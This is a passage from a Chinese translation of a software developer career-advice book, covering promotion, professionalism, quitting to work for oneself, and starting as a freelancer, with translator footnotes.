通用准则，但每家公司又截然不同。哪种工作环境适合自己？哪种企业文化适合你？决定权在你自己。在接受工作之前与为这家公司工作的开发人员聊一聊是个好主意，你能够更真切地体会在这家公司工作的感受。\n采取行动\n花点时间思考自己喜欢什么样的工作环境，多大规模的公司符合你自己理想中的工作环境？<*li>\n列出在你所在地区的公司名录，或者你工作过的公司名录，看看它们分别属于哪种类型。\n第9章 攀登晋升阶梯\n我认识的IT行业人士里有不少人似乎从来就没晋升过。年复一年，他们工作在同一岗位上，停留在同一职位上。我不知道他们是否得到过晋升机会。你认识这样的人吗？这事居然出人意料地常见。如果你不想终老在这条死胡同上，就得做点什么。在本章中，我将给你一些如何攀登晋升阶梯的建议，以便你不会停留在同一位置上没有提升。\n承担责任\n在任何公司里能让你脱颖而出的最重要法宝就是承担更多的责任。\n提示\n 这看起来显而易见，但在你的职业生涯中，你经常会面对更多金钱还是更多责任的选择。至少从长远来看，正确的选择几乎永远是更多责任。\n金钱总是追随着责任。有任何机会去承担更多责任时，承担起来！\n但是，假如你没有被赋予更多责任呢？怎样靠自己去赢得这样的机会呢？有时候你不得不去主动寻找机会，去负责一项任务，或者牵头一个项目。只要深入挖掘，你总能找到一些被忽视的业务领域去发挥自己的聪明才智。\n没有人愿意涉足的领域是搜寻机会最好的地方。可能有一个没人愿意碰的遗留应用，或者代码库里的某个特别令人讨厌的模块。正因为没有人愿意碰，所以你也无需去抢，这些就成为你日益强大的帝国的领地。如果你能把沼泽变为良田，你也就展现了自己的价值。\n另一种间接承担责任的方式是成为团队中其他人的导师，自愿帮助新人加速成长，为任何有需要的人提供帮助。通过介入和解决别人的问题，你不仅可以学到更多自己专业之外的知识，而且随着时间的推移，你还能在团队中逐步树立“及时雨”的名声。最终，这样的声誉可能会令你成为团队领导或者其他管理职位，只要你愿意走这条路。\n如何能让自己承担更多责任\n有一个不受重视的项目，你能去负责它吗？\n你能帮助团队里的新人快速成长吗？\n你能负责文档制作流程，并保证及时更新这些文档吗？\n哪项工作是没有人愿意去做，你愿意承担起来，并将其简化或者自动化的？\n引人注目\n如果你一直默默无闻，你的成就不为人知的话，即使你是团队中最聪明、最努力、最出色的开发人员，那也一文不名。如果找不到方法让你的老板或高层管理人员知道你在做什么，那你的所有努力都是徒劳的。\n每当我开始新工作时，我所做的第一件事就是记日志，记录我每天都把时间花在哪儿了，完成了哪些工作。我会将这些信息汇总成周总结，在每个周五发送给我的经理。我把这个叫做“周报”，而且在每个新岗位上发出第一份周报的时候，我都会附上一些信息让我的经理知道：我能理解，知晓自己的直接下属在做什么对于管理者来说至关重要，所以我会通过发送周工作总结的方式让他们的工作更轻松。\n这份周报确保我每周都能被经理注意到，我可以讨论那一周取得的成果，而不是夸夸其谈。这是获得关注的绝佳方式，我看起来比我的同事工作更加富有成效，只是因为我的经理一直知道我在做什么，而我的经理对其他开发人员在做什么却了解得没那么多。\n这份极具价值的周报不仅令我引人瞩目，在考核临近的时候，它们也是绝佳的资料。通过回顾周报，我能选出自己的年度关键成果。等到填写考核表时，我能准确知道自己一年来的成就，而且还有日期证明。\n我当然推荐主动发送周报，不过还有其他许多方式能让你在所在的机构中更加引人瞩目。其中最好的一种方法就是做一个关于团队当前正面临的主题或者问题的演讲。选一个自己能介绍的主题，然后向团队展示这一主题。你甚至可以做成“午餐+学习”的形式，在午餐时间进行分享，而不占用上班时间。通过这种方法，你获得了关注，也展示了自己在特定领域的博学。此外，要迫使自己学习新东西，没有比让自己在其他人面前做展示更好的方式了。我就是在这种压力下学习了很多东西。\n如何令自己引人注目\n每天都记录自己的活动日志——把这个日志以周报的形式发送你的经理。\n提供演讲或培训——选择一个对你的团队有用的话题。\n发表意见——只要在会议上就这么做，或者只要你能得到的机会就这么做。\n保证“曝光度”——定期与老板会面，确保你经常被注意到。\n自学\n另一个可以获得提升的非常好的办法就是不断增加自己的技能和知识。在你不断提高自己的教育水平时，很难停滞不前。自学能让升职加薪变得容易，因为你可以很清楚地表明：现在的自己比之前更有价值。\n当然，你可以参加一些传统的高等教育课程——特别是如果你的公司会为你获得学位付费的话，但是也有别的方法自学，能够在未来有所回报。你应该不断学习新东西，提升自己的技能。报名参加培训课程，或者考相应的资质证书，都能表明你致力于不断提升自己。\n在我职业生涯的早期，我感觉自己上升空间有限，于是决定去考取微软认证证书。我努力学习，通过了所有测试，获得了一个顶级微软认证。这并不容易，但我很快就看到它对我职业生涯的价值。通过这些额外的努力，我向经理表明：我严肃对待自己的职业生涯，于是机会的大门迅速为我打开。\n在第三篇中我们会讨论如何快速学东西，这绝对是一项你必须掌握的技能。知识提升得越快，你能掌握的东西就越多，随之而来的机会也越多。\n另外，不要只学软件开发。如果你把目标设定为更高级别的岗位甚至是行政岗位，你还需要学习领导力、管理和商科的相关知识。\n千万不要忘记分享自己学到的东西。我们已经讨论过，你可以通过演讲的方式分享自己的知识，也可以创建自己的博客、为杂志写文章或者写书，还可以在社区活动或者技术大会上发表演讲。外部曝光有助于你建立自己在该领域的权威地位，也让你看起来对所供职的公司更有价值。\n成为问题的解决者\n在任何组织中，总是有很多人会告诉你为什么这个想法行不通，为什么那个问题太难。这样的人不胜枚举。千万不要成为他们中的一员。相反，你要成为那个永远能为各种问题找到解决方案的人，要成为勇于执行这些解决方案以获得成果的人。\n在任何公司中，最有用的就是那种看似没有克服不了的障碍的人。成为这种人是获得晋升的可靠方法。忘记那些围绕职位晋升的政治游戏和惺惺作态吧——如果你能解决别人无法解决或不愿解决的问题，无论在哪家公司，你都能轻而易举地成为最有价值的人。\n地雷：我没有任何晋升的机会\n大多数公司都会提供一些提晋升机会，不过，也可能你遵循了本章给出的所有建议，却不知道什么原因，你就是看不到前面有任何机会。这时你该怎么办呢？\n离职。首先确保还有另一份工作在等着你。但是，有时候只要意识到自己的工作毫无前途，就需要寻找更好的机会。也许你的工作环境很艰苦，残害身心，也许裙带关系盛行，你只能原地踏步。无论什么原因，你可能都需要换工作了。\n关于政治\n在一篇介绍如何在企业文化中获得晋升的文章中，不可能不提及办公室政治。我把它放到最后，是因为我认为在努力推进职业生涯时候，这个话题是最无关紧要的。并非我太天真，我知道在多数机构中都有办公室政治，你需要保持警惕。不过我认为你不应该在玩弄政治游戏上投入太多时间。\n当然，你也可以靠着八面玲珑、野心勃勃而获得晋升。但是用这种方式获得晋升时，你更容易跌倒。有些人会不同意我的观点，但我一直认为，脚踏实地成为一个真正有价值的员工要比弄虚作假好得多。\n也就是说，你应该对所在组织的政治气候保持警觉。尽管不能完全避开政治，但至少应该知道会发生什么，哪种人需要避开，哪种人永远不要有交集。\n采取行动\n在你当前的工作岗位上，你可以通过何种方式承担更多的职责？\n对于你的老板和经理，你现在的“曝光度”如何？下一周，你可以采取何种具体方式来提升自己的“曝光度”？\n目前你正在自己学习些什么？确定要自学的最有价值的东西是什么，制订一份下一年的自学计划。\n第10章 成为专业人士\n在我最喜欢的The War of Art［Black Irish Books，2002］一书中，Steven Pressfield阐述了“专业”与“外行”之间的区别：\n成为专业人士是一种心态。如果我们总是与恐惧、自毁、拖延和自我怀疑作斗争，那么问题就是：我们正在像外行那样思考问题。外行毫不起眼，外行人废话连篇，外行屈从于逆境。专业人士可不这么想。不管怎样，他引人注目，他恪尽职守，他始终如一。\n成为专业人士的全部在于：引人注目，恪尽职守，以及不屈服于挫折。成为专业人士，需要你克服自身的缺点，静下心来创作出尽可能最好的作品。\n在本章中，我们将重点分析成为专业人士意味着什么，以及你如何在软件开发工作中成为专业人士，无论你是直接为别人工作，还是为客户生产产品。\n作为一名软件开发人员，专业将是你最大的财富。学会像专业人士那样行事和思考，不仅能帮你获得更好的工作和更多的客户，而且能让你在工作中如鱼得水，充满自豪感，后者是获得长期成功的关键部分。\n什么是专业人士\n简而言之，专业人士会严肃对待自己的责任和事业，愿意作出艰难的选择去做自己认为是正确的事情——往往还要自己承担代价。\n例如，想象一下你身处如下情形：你需要降低正常的质量标准，尽可能快地移植一批代码。在这种情况下你的第一反应是什么呢？如果你被反复要求做这样的工作呢？你能挺身而出，坚持真理，甚至可能因此丢掉工作吗？你坚守什么原则？你会为自己的工作设置怎样的个人质量标准？\n专业人士是我们都应该去努力的目标。专业人士是可以依靠的人，他们恪尽职守，精益求精，也不曲意逢迎。专业人士会让你知道什么事情是不可能的，什么路径是错误的。\n专业人士不可能事事皆通，但他一定会潜心钻研匠艺，旨在锤炼自己的技能。专业人士会坦承自己不知道答案，但是你可以信赖他会找到答案。\n专业人士最重要的一点，也许就是持续稳定。专业人士为自己的工作设置了很高的质量标准，你可以期待他每一天都持之以恒地坚守标准。当专业人士不露面的时候，你最好打电话给应急调度人员，可能什么地方出岔子了。\n表10-1列出了一些专业人士和外行的差异。\n表10-1 一些专业人士和外行的差异\n专业人士\n外行\n遵守自己的原则\n让干什么就干什么\n专注于正确完成工作\n专注于完成工作\n不惧怕承认自己错了，不会文过饰非\n不懂装懂\n持续稳定\n无法预测，不可靠\n勇于承担责任\n回避责任\n成为专业人士（养成良好习惯）\n了解专业人士很容易，但是如何成为一名专业人士呢？如果你的周围和你的工作中充斥着外行，你该如何做到出淤泥而不染？\n一切都始于习惯。习惯是成为专业人士的必不可少的部分。我们每天做的很多事情都是习惯性的。起床、上班、完成日常工作，大多数无需思考。如果你想改变自己的人生，那从改变自己的习惯开始。当然，说起来容易做起来难。坏习惯很难被打破，而新习惯又不容易养成。\n但是，如果想成为一名专业人士，你需要培养自己的专业习惯。有一次我在一个遵循Scrum过程的团队工作时，每天我们都有“每日站立会议”，说明自己已经做了什么、计划做什么、有哪些障碍。有位开发人员很特别，他总是提前写好要说的内容。每天在Scrum会议之前，他都会准备好自己的发言，而不是像我们大多数人那样开会时随口说。这是专业开发人员要养成的习惯。\n作为一名专业人士需要养成的另一个强大的习惯是时间管理技能。目前你擅长管理自己的时间吗？每天在开始工作之前你知道自己要做什么吗？你能很好地掌控日常任务所需的时间吗？每天提前做好计划，就能养成有效管理时间的习惯。专业人士知道每天必须要做什么工作，并且能估算出每项工作大约要花多长时间。\n这只是对于成为专业的软件开发人员至关重要的习惯的两个例子。为了达到自己在工作中所需的专业化水平，你得明确自己要养成哪种习惯。习惯至关重要，因为它们让你养成持之以恒的品质，而这一品质让你成为值得信赖的人。关于习惯这一主题有一本伟大的书，请查阅Charles Duhigg的《习惯的力量》（The Power of Habit）［Random House，2012］。\n坚守正道\n作为一名软件开发人员，你经常面临许多困难和挑战，技术和道德两个方面的都有。如果你想成为专业人士，你必须要能够在这两种情况下都做出正确的选择。通常你面对的技术挑战非常客观，很容易就证明某个方案比其他方案更高明。但是涉及道德挑战时就艰难多了，并不总有清晰的正确答案。\n软件开发人员所要面对的最大的道德挑战就是：以他们了解的决策前行是正确的，也符合客户的最大利益，但是这样的决定可能会危及自身福祉或职业稳定。\n我最喜欢的软件开发人员之一兼作家Bob Martin曾经写过一篇关于“如何说不”的很好的文章（http://simpleprogrammer.com/ss-no），可以解决这个问题。在这篇文章中，Bob将软件开发人员比作医生。他谈到，让病患告诉医生如何做好治疗工作是何其荒谬。他还举例说，当病人告诉医生“我胳膊受伤了，我需要你把它砍掉”时，医生当然会说“不”。但在许多情况下，当软件开发人员面对类似的情形时，软件开发人员由于担心会触怒大人物而违心地说“是”，然后“砍掉”自己的代码。\n一位专业人士需要知道在什么时候说“不”，即使是面对自己的老板。因为，正如Bob Martin所说，专业人士有着不可逾越的底线。有时，坚守底线甚至意味着被炒鱿鱼，但这就是你被称为“专业人士”要付出的代价。短期内，这可能是痛苦的，但如果你能持之以恒地选择坚守正道，那么与选择其他路线相比，你的职业生涯会得到更大的回报，并且你也能睡个好觉。[1]\n有时候，专业人士必须对工作的优先级做出艰难的抉择。不专业的开发人员经常浪费时间去画蛇添足，因为他们要么不能确定下一步要做什么，要么他们得一直让别人来帮自己设定工作的优先级。专业人士会评估需要完成的工作，判定优先级后再开始工作。\n地雷：如果我承担不起说“不”的代价又该如何\n对我来说，坐在椅子里告诉你有时一定要说“不”很容易，但是并不是每个人都奢侈到能冒着丢掉工作的风险。我很理解，你当前的情况确实无法让你说“不”，因为这样做会给你的未来带来灾难性后果。\n在这种情况下，我的建议是去做你被要求做的吧，但千万不要让自己再次陷入这种境地。当你需要一份工作时，就很容易落入圈套。一旦陷入困境，你就限制了自己的选择，任由他人给你施加压力。\n如果你身处这样的情况，请尽快脱身。存一些钱，这样你就不必担心失去工作。你甚至可以考虑找一份新工作，一份不会要求你做很多道德上的抉择的工作，或者一份你的意见更有价值的工作。\n当这噩运降临在你身上时，去做你不得不做的事情吧，但你应当尽可能地让自己占据上风，或者至少是旗鼓相当。\n追求品质，完善自我\n作为一位专业人士，你必须不断改善和提高自己的工作品质。你或许不能一直达到自己期望的工作品质，但随着时间的推移，持之以恒地坚持下去，你终究会达到自己设定的标准。许多软件开发人员犯的一个巨大错误就是，当无法达到标准时，他们不是完善自己、迎接挑战，而是降低标准。\n将品质管理应用到你工作的每个细节，而不仅仅是那些看似重要的部分，这一点非常重要。真正的专业人士对自己的工作的所有方面都设定高品质标准，因为他们知道，正如T. Harv Eker所说：“你做的每一件事情就是你所做的一切。”（《百万富翁的秘密》，Secrets of the Millionaire Mind）［HarperCollins，2005］如果你在某个领域降低了自己的标准，那么你最终会不经意间在其他领域也降低标准。一旦你越过了底线，选择妥协，就很难再回头。\n别忘了，发挥你的长处。你当然可以改善你的弱点，但最好了解自身的强项是什么并且充分发挥自己的优势。专业人士对自己的能力和弱点有着良好、精准而又客观的自我评估。\n专业人士是通过持续不断的自我完善达到自己所追求的高品质的。如果你也想成为专业人士，就要致力于持续不断地完善自己的技能，学习更多与专业相关的匠艺，确保自己制订并执行了学习计划，拓展自己的技能、学习新东西，这将有助于你做得更好。不要沾沾自喜，永远对努力成为更好的自己心存渴望。\n采取行动\n你认为自己现在是一名专业人士吗？如果是，为什么？如果不是，又为什么？\n你都有哪些习惯？观察自己的一天，尝试找出尽可能多的习惯。把你的习惯分为好习惯和坏习惯。找出一些你需要养成的好习惯，制订一份好习惯养成计划。\n上次你说“不”是在什么时候？如果你从来没有遇到过这种情况，想想如果你的老板要求你做一些你明知是错的事情，你会如何应对？\n[1] 这一句对应的英文为“plus you can sleep better at night”，看来“为人不做亏心事，半夜不怕鬼敲门”是中外相通的普世价值观。——译者注\n第11章 赢得自由——如何辞职\n在很长的一段时间里我都梦想着有一天能够辞掉我的工作，为自己工作。我感到自己被困在公司里工作，我知道，如果我能自己离开会做得更好。问题是：“怎么离开？”\n那时，我并不认识任何一位成功逃出牢笼的人，所以我不知道自己需要做什么。我只知道，为别人工作我完全不快乐。\n现在，你可能还不想为自己工作，你可能想继续享受作为一个员工的好处——这没有什么错。但是，如果你像我一样，一直梦想着为自己工作，成为自己的老板，那么请继续读下去。\n明智的处理方式\n想知道辞职为自己工作的最简单的方法？明天直接走进你老板的办公室，告诉他你要辞职。就这么简单。这就是你要做的一切。不过，我还是希望你在银行有一点积蓄，因为一旦你这么做了，你就要完全靠自己了。祝你好运。\n不过，这可能不是获得自由最明智的方式。这么做容易变得不耐烦，看不到别的出路，所以你可能真的就想这么干——我知道我也这么干过。你可能可以在仅有几个月的积蓄、缺乏坚实的计划的情况下辞掉自己的工作，一头扎进创业或独立咨询的海洋，但冒这样的风险值得吗？\n但这真不是一幅美好景象。通常仅仅几个月之后，你就要赤字满天飞了。支票账户透支，信用卡债台高筑，看起来美好且美丽的事情突然间急转直下。脑门上顶着把枪还要去创业的确很困难。你无法做出正确的决策，你被恐惧笼罩着。\n我说这个可不是要吓唬你——不过，如果你打算冒失行事的话，我还真希望能吓到你，但我希望我说这些能帮你想明白，如果想辞职为自己打工，需要一个切实可行的计划。你必须要想方设法积攒够足够多的收入来支撑自己，直到你的新生活步入正轨。\n“没有一个切实可行的计划之前，我从不会贸然行事”，如果我这么说，我就是一个伪君子。我以前还真曾经冲动行事，结果一败涂地。最后我学聪明了。我想明白了：如果我真的想跳槽，唯一可能的方法就是，弄明白如何开展我的新业务（维持现有的工作岗位，把这个当作副业），并让它足够成功，这样即便薪水大幅减少，我依然能完成转型。\n在考虑辞掉工作之前，你需要有一个切实可行的计划。我强烈推荐先在业余时间启动你想创建的业务，等能从这项业务中产生足以维持生计的收入时，你再转为全职。这种离职的过程漫长而又痛苦，但用这种方式做事非常重要，不仅是经济上的原因。\n地雷：我现在已经离职，没有什么积蓄，怎么办？\n哎呀。我衷心希望你在把自己的房产做了二次抵押之前读到这一章。如果你已经辞职，身无长物，你就不得不尽快面对现实。\n在这种情况下，我的建议是：努力工作，养成高效的好习惯，给自己最好的成功机会。你还要尽可能削减开支，这可能意味着你连有线电视都没得看了。你要尽可能地开源节流。\n同时也要现实一些。仔细想想自己还能维持多久，自己能做些什么来维持更久。你要制订一个计划：什么时候你就得认怂，重新做回雇员。你以后总可以东山再起，只要你没有因为巨额信用卡债务，只要你没有把房屋抵押掉，只要你没有从朋友和家人那里到处借钱以影响到自己的未来。\n同时，你还应该知道自己并非个例。我自己前两次创业都没有按照明智的办法行事，最后我不得不灰溜溜地爬回去，老老实实当雇员。\n准备好为自己工作\n为自己工作比想象中要难得多。我们已经谈到了，在正式辞职之前就开始你的新业务（作为副业）非常重要，这样你就不会经济窘迫，但这样做对你而言也许还有更重要的原因：为自己当老板做好准备。\n当你每天坐通勤班车去办公室，耗费自己的时间让别人变得富有时，“为自己工作”看起来似乎更加轻松、惬意。其实，在享受到“为自己打工”的收益的同时，你还有相当多的工作要做，特别是在起步阶段。\n为自己工作的麻烦在于，没到正式辞职的那一刻，你永远不知道为自己工作是多大的工作量，但是到那时才知道的话已经为时已晚了。这就是为什么我强烈建议先是以副业的方式开始你的创业之旅，小有成就后再全职投入。以副业的方式创业能够让你对未来为自己工作以后每天需要工作多长时间有所了解。许多有抱负的创业者其实也不知道运营业务到底有多难，更遑论处理企业运营的开销和非开发费用到底需要多少额外的工作量。\n通过在业余时间创业，同时保有全职工作，你就会知道每天工作很长时间是什么感觉，开始自己的冒险之旅[1]又是什么感觉。你还可以避免患上溃疡或者早生华发的风险，因为你的生计并不依靠创业成功。即使创业失败，你仍然会依靠你的工作以获取收入。\n如果你仍然没有被说服，那我再给你一个为何要如此行事的坚实理由——创业，特别是首次创业，很可能会失败。大多数创业型企业莫不如是。可能要屡战屡败几次后，你才能创建成功的企业，让自己丰衣足食。你是愿意倾多年积蓄后期望创业一举成功，还是愿意不断尝试，直到有所斩获？\n你真正工作的时间到底有多长\n在这儿我得向你坦诚相告，即使在那些我工作过的公司里我都是出色的员工，我每天努力工作时间其实还不到一半。\n如果我不开始创业，如果我没开始追踪自己的时间，我永远不会意识到这一点。当我第一次开始为自己工作时，我觉得每天工作8小时真不困难。既然我当雇员的时候每周的每个工作日都工作8～10小时，那么在为自己工作时，坐下来每天工作8小时为什么就这么难呢？为什么我以前8小时不到都能完成工作呢？\n在仔细度量了自己的时间之后我才发现这个问题的真实答案。我建立了一种机制，每天记录并追踪自己的时间，以便我能了解自己的时间都去哪儿了。在这么做之后，我发现通常自己每天的实际工作时间只有4小时左右。这一点要是其他人告诉我的，我很难相信，但是数字不会说谎。也就是说，即使我比以前更努力地工作，我其实每天也只发挥了自己一半的潜力。\n我立刻想知道在离职之前，我每天在自己的岗位上到底能做多事情。我回顾自己以往的工作表现，尽量弄清楚自己是如何花费自己的时间的。\n开始的时候我有8小时，然后得从这8小时中减去1小时，通常是用于每天与工作相关或者不相关的社交活动。一天之中我会陷入各种谈话，通常都是一小段一小段的，但加起来平均1天1小时。这当中当然有些谈话与工作相关，但我不认为这是富有成效的工作。\n现在我只剩下7小时，从这7小时中我还得再减去2小时，用于检查和回复电子邮件、阅读简报和备忘录、出席毫无意义的会议。这些会议其实真没什么实质内容，并且真的不需要我到场。\n最后，我还花费1小时在我称之为“一般性偷懒”上。我们都会偷懒——时不时看看自己Facebook上的消息，回复私人邮件，等等。不可否认，一天之中这些事情加在一起差不多也是1小时。\n那么，我给自己留下多少时间呢？4小时。在一个8小时的工作日里，我们大多数人可能只工作4小时，我相信在有些日子里会更少。不过还有一个因素值得考量。我们在这4小时里有多努力？\n我喜欢这样思考问题。想象一下，在马路上慢跑和被吃人的狮子追着玩命狂奔之间的差异。这其实就是为别人工作和为自己工作之间的差异。当你为自己工作时，你会更加努力地工作，因为你只有工作的时候才赚钱。\n把这个因素考虑在内，我们可以大概估计出来，在为别人工作时，我们平均每天只有一半时间在努力工作。我还意识到，以前上班时，有可能一天真正勤奋、富有成效的工作时间只有2小时。（有时候我会熬夜，工作10小时。）\n告诉你这一点是为了什么呢？我有两个目的。首先，我想让你知道，你为自己工作时会比为别人工作时更努力，尽管投入的时间是一样的——你需要为此做好充分准备，你还得适应这种工作负担。虽然你为自己工作的真实动机可能就是因为你热爱自己正在做的事情，但是不要指望热情可以持续很久。随着时间的流逝，热情往往会变得捉摸不定乃至于消失殆尽。（推荐一本关于这个主题的好书——Cal Newport的So Good They Can’t Ignore You［Business Plus，2012］。）\n为别人工作与为自己工作\n其次，很重要的一点是，你要认识到，在为自己工作时，你不能计划每个工作日就只有8小时工作时间。当我第一次辞掉自己的工作全职投入原先的副业时，我发现要想把事情做完，每天需要额外的8小时。在我上班的时候，我每天晚上要为自己的副业加班工作3～4小时，这让我以为我可以一天只工作8小时就能完成双倍的工作量。然而，我完全错了，这让我感到很沮丧，几乎要放弃了。\n辞掉工作之前，很重要的一点是你对自己实际承担的工作量有一个符合实际的预期，并训练自己提前处理更高强度的工作负荷。在当前工作中，你可以每天追踪自己的时间，看看能不能坚持富有成效地工作6小时。同时，晚上加班做你的那些副业，也会让你做好准备，迎接未来每天8小时或者更长时间的满负荷工作。\n切断脐带\n好吧，现在你已经做好决定了。你要独立，你已经厌倦了“为那个人工作”。那么你该怎么做呢？我不能给你一刀切的解决方案，但是可以参考下面这个虚构的案例——软件开发人员如何转变为自主就业。\nJoe是工作了大概十年的软件开发人员。尽管他喜欢自己的工作，但是他还是想成为自由职业者或者为自己工作。他喜欢在挑选客户时具有灵活性和自由度，他也喜欢能够自己决定什么时候做什么事情。\n现在，为实现这一跨越，Joe已经思考了很长一段时间。Joe要做的第一件事就是开始削减每月开支以积累资金。他希望自己在完成转变之前有喘息的空间，于是攒够了一整年的生活开销，能让他安然度过头一年。\nJoe认为，如果他能在成为自由职业者的第一年让自己生活所需降一半，自己就有足够的积蓄维持两年。这段时间足以让他的新业务正常运转，或者证明此路不通。（注意，Joe积攒的只是一年的生活费用，而非整年的薪水。他需要的是生存，而不是舒适地生活。他愿意为了追求梦想做出牺牲。）\n于是Joe开始在保证自己常规工作的同时，每周投入约15小时去做自己的事情。每天他花2小时做兼职工作。每周他花5小时寻求新业务或者做宣传，剩下的10小时完成收费工作。Joe确保在他计划辞职之前的6个月就开始这样做，这样他才能保障自己有收入，以便辞职之后也不会有太大压力。\nJoe提前计算好自己离职的确切日期，早在一年多前就在日历上做好标记。当那一天临近的时候，他提前两周递交了离职申请，开始追寻自己的梦想[2]。他从经济上和精神上都为这次转变做好了准备。\n地雷：危险的劳动合同\n我必须提醒你，本章中的建议可能会让你陷入困境。我见过一些很糟糕的劳动合同，规定你的所有工作成果都属于你服务的公司。\n在你开始做兼职项目（最终会成为你的全职工作）之前，你要仔细查看当年入职时你同意了哪些条款。如果劳动合同中规定任何工作成果都属于公司，那你需要与法律人士协商，看看如何妥善解决这种情况。\n鉴于我本人并非法律界专业人士，所以我给不了你法律方面的建议。不过针对你要做什么，我会给出自己的看法。首先，如果你的劳动合同中规定你所创造的一切都属于你的公司（哪怕是在自己的业余时间做的），我建议你去询问一下相关条款是否可以删除，或者去找新工作。我不支持奴隶制，对我来说这样的合同实在苛刻。我能理解企业会非常关心你是否利用他们的资源在工作时间创建自己的公司，但我不认为任何雇主可以限制员工在业余时间做什么（以上仅为本人观点）。\n如果劳动合同中真有条款规定你在公司的时间或使用公司资源所创造的东西都属于公司，事情可能会变得更加棘手，因为这条规定不够直截了当。在这种情况下，我个人会提前做好准备，列出自己做过的事情，详细记录自己进行兼职项目时所用的时间和资源。如果你有记录表明你完全利用自己的时间和自己的资源，那你会有优势。不过即便如此你还是要谨慎对待此事，找律师介入不会有损失。\n如果你认为你和自己的雇主之间会有麻烦，那你可能真的会有麻烦，这是底线。你可以选择对你的副业秘而不宣，也可以选择将其公开，但这两种方式都有自身的风险。综合考虑，我建议最好详细记录自己做兼职项目时的日志，以确保产权没有任何问题。\n采取行动\n确切计算一下，为了维持生计你每个月到底需要赚多少钱。你可能会惊讶地发现还挺高的。如果想更快地获得“自由”，你需要想办法减少开支，这样你对兼职带来收入的需要会降低。\n追踪每天的工作时间，了解当前你是如何度过每一天的。找出自己每天真正刻苦、高效工作的时间到底有多少，结果可能会让你大吃一惊。\n[1] 这里英文原文使用的词语是Venture，可以说是“一语双关”，既是指“冒险行动”，又是指“风险型创业企业”。翻译时两意并取。——译者注\n[2] 国内通常需要提前一个月提出离职申请。——译者注\n第12章 成为自由职业者：开启自己的一片天地\n开启自己的一片天地开始自己的业务可以通过成为自由职业者或独立咨询师来实现。自由职业者不只为某一个客户工作，而是以固定价格或时薪的方式将自己“出租”给多个客户。\n对软件开发人员来说，成为自由职业者极具吸引力，但是迈出这一步很难。在我的职业生涯中，作为一名雇员时我总是梦想着成为一名自由职业者，但是我一直不知道如何完成这个转变。我知道许多开发人员都以自由职业者的身份谋生，但是我不知道他们是如何设法找到客户并推广自己的服务。\n在本章中，我会给你一些建议。真心希望在我刚起步时有人给我这样的建议。我还会给你一个切实可行的计划，告诉你如何成为一名自由职业者，如何提高你的业务量。\n开始\n如果你已经阅读了上一章有关辞职的内容，你会知道，我推荐在全职从事新业务之前先做一段时间的兼职副业。这尤其适用于自由职业者，因为自由职业者在起步阶段，很难获得源源不断的业务。\n自由职业者的一大担忧是接不到工作，于是也就没有报酬。如果没有足够的工作填满自己的时间，或者在完成一个客户的工作之后你不得不积极寻求更多的客户，你的压力会很大。最好的情形是工作任务已经提前安排妥当，或者处于工作太多不得不推掉一些的状态。\n要达到这一目标的唯一方法，就是随着时间流逝不断增强业务能力。你需要有长期客户，以此来确保未来的业务量，同时你也需要有稳定的新客户上门。挂出招牌之后就等着这两件好事从天而降，几乎不可能。你需要假以时日，精心培养这两类客户。\n问问你认识的人\n你该如何开始呢？你该怎样得到你的第一个客户呢？获得客户的最佳方式是通过你已经认识的人。熟悉你的人更容易信任你，特别是在启动阶段。还没有辞职的时候，你就要在自己的社交网络上发布消息，让你的朋友和熟人知道你将要成为自由职业者，正在寻找业务。务必让他们明确知晓你到底能为他们做什么，你能解决怎样的问题。（在这里“专业化”将派上大用场，参见第7章。）\n列出所有你认识的并且可能会对你的业务感兴趣的人员名单，给他们发私人邮件，让他们明确知晓你能为他们做什么，以及他们为什么要雇用你做这项工作。你的潜在客户越多，找到业务的可能性越大。找到业务基本上就是一个数字游戏。不要害怕经常发邮件让别人随时了解你的服务。随着时间的推移，这种勤奋总归会有回报的。\n你的目标应该是让自己达到这样一个点：你为这份副业分配的时间已经饱和，无法再接受其他工作，不得不回绝掉一些人。如果你在做兼职工作的时候做不到这一点，那你就不要想着去做全职了。填满每周40小时的工作量远比填满10～20小时艰难。\n获得客户的最佳途径\n你也许会发现，只有你的朋友和熟人才需要你的服务，你甚至可能会发现，你连这些人都不需要。别担心，除了通过熟人介绍以外，还有其他一些获得客户的方法。\n很多自由职业者会在各种职位公告板上推广自己的服务，甚至使用付费广告来获得客户。我要告诉你一个更简单同时更节约成本的方法，它唯一的缺点就是：需要耐心和勤勉的工作。\n你真正要关注的是所谓的吸引式营销（inbound marketing）（在第二篇中会更详细地讨论这一点）。“吸引式营销”基本上就是让潜在的客户主动送上门，而不是你去找他们。你要做的事情就是免费提供有价值的东西。\n大多数开发人员都应该有一个博客，这一点我已经喋喋不休好多遍了。因为你能够在博客发表文章吸引人们来阅读，所以博客也是吸引式营销的绝佳途径。通过在博客文章的结尾或网站的导航栏提供咨询服务，一旦有潜在客户阅读你的博客内容，你就可以试着直接将他们转化为客户。或者你也可以通过为他们提供别的有价值的东西来换取他们的邮件列表。\n电子邮件营销是推广产品或服务的最佳和最有效的方法。一旦你能够将对你能提供的服务感兴趣的人集结成一份名单，你就可以慢慢地给他们提供更多的信息——关于你自己、关于你能为他们做什么，最终将其转换为你的客户。\n“吸引式营销”的方法多种多样，例如，你也可以做免费的网络课程、写书、在大会上做演讲、做客播客节目、制作自己的播客等，不一而足。通过这些方法，为大家提供与自己的服务相关的有价值的（但大多是免费的）内容。\n“吸引式营销”唯一的问题是起效时间略长。你必须有足够丰富的内容来吸引足够多的潜在客户来充实自己的工作渠道。这也是现在就开始着手暂时别辞职的好理由。长远来看，吸引式营销能给你带来更多的业务，也能让你更容易提高自己的时薪，我们将会在下一节讨论这个问题。\n“吸引式营销”的方式\n怎么收费\n好了，现在你已经有了一些客户，他们对你的服务很感兴趣，或者你已经为客户做了一些工作，那么你该怎么收费呢？\n除了获取客户之外，这是自由职业者要面对的最大的难题之一。大多数自由职业者都大大低估了他们能够向客户收费的金额以及他们需要向客户收费的金额。\n首先，让我们谈谈你需要向客户收取多少费用。我们假设你当前工作（作为员工）的薪水是每小时50美元。在美国这是一个相当不错的工资，但是作为一个自由职业者，要想维持以前的生活水准，你不能收取同样的费用。让我来解释一下。\n作为一名员工，除了每小时50美元的薪金之外，你可能还会有其他的一些福利。你也许会有医疗福利和带薪假期。另外，在美国，如果你为自己工作，你必须支付所谓的“自主就业税”——是的，这是政府因为你为自己工作而额外征收的费用。（其实这并不完全准确。现在是你的雇主为你缴纳此税，所以无关紧要。）把上面说的这些全都算上，做雇员时的每小时50美元相当于做自由职业者的每小时65美元。\n现在，让我们再来看看商业运作方面的开销。做雇员的时候，电费、电脑设备、网络等都由雇主支付费用。但是作为自由职业者，你必须自己支付所有这